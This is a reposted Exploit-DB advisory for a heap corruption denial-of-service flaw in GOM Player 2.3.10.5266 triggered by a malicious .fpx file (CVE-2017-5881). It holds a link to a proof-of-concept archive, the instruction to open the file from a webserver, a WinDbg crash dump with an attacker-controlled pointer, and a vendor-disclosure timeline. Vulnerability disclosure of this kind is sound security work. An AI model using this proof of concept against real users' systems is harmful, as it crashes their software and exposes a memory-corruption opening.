GOM Player 2.3.10.5266 – ‘.fpx’ Denial of Service

• Exploit Database
• 14 阅读

• 作者： Peter Baris
  日期： 2017-02-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41367/

• # Exploit Title: GOM Player 2.3.10.5266 - Remote heap corruption (.fpx)
  # Date: 2017-02-15
  # Exploit Author: Peter Baris
  # Exploit link: http://www.saptech-erp.com.au/resources/PoC.zip
  # Software Link: http://player.gomlab.com/download.gom?language=eng
  # CVE: CVE-2017-5881
  # Version: 2.3.10.5266
  # Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64
  
  POC:
  
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41367.zip
  
  Open the malicious fpx file with CTRL+U, served by a webserver:
  
   WinDbg 
  
  (864.150): Access violation - code c0000005 (first chance)
  
  First chance exceptions are reported before any exception handling.
  
  This exception may be expected and handled.
  
  eax=092fcde8 ebx=00000000 ecx=41414141 edx=090ff798 esi=090ff790
  edi=05b10000
  
  eip=77902fe5 esp=10a9fbb4 ebp=10a9fc94 iopl=0 nv up ei ng nz na pe
  cy
  
  cs=0023ss=002bds=002bes=002bfs=0053gs=002b
  efl=00010287
  
  ntdll!RtlpFreeHeap+0x4d6:
  
  77902fe5 8b19mov ebx,dword ptr [ecx]
  ds:002b:41414141=????????
  
   
  
  0:022> !exchain
  
  10a9fc84: ntdll!_except_handler4+0 (77946325)
  
  CRT scope0, func: ntdll!RtlpFreeHeap+b7d (7795b52d)
  
  10a9fd54: *** WARNING: Unable to verify checksum for C:\Program Files
  (x86)\GRETECH\GomPlayer\gvf.ax
  
  *** ERROR: Symbol file could not be found.Defaulted to export symbols for
  C:\Program Files (x86)\GRETECH\GomPlayer\gvf.ax - 
  
  gvf!DllGetClassObject+5801b (6e02bc7b)
  
  10a9fdcc: gvf!DllGetClassObject+57af8 (6e02b758)
  
  10a9fe00: gvf!DllGetClassObject+57ac8 (6e02b728)
  
  10a9fe84: gvf!DllGetClassObject+57fe0 (6e02bc40)
  
  10a9feac: gvf!DllGetClassObject+5d5e8 (6e031248)
  
  10a9ff60: ntdll!_except_handler4+0 (77946325)
  
  CRT scope0, filter: ntdll!__RtlUserThreadStart+2e (77946608)
  
  func: ntdll!__RtlUserThreadStart+63 (77948227)
  
  10a9ff80: ntdll!FinalExceptionHandler+0 (779983b1)
  
  Invalid exception stack at ffffffff
  
  
  2017-02-04 notification sent to developers
  
  2017-02-05 developerss requested information about the issue
  
  2017-02-09 information sent with the PoC
  
  no reply if they plan to release a fix or not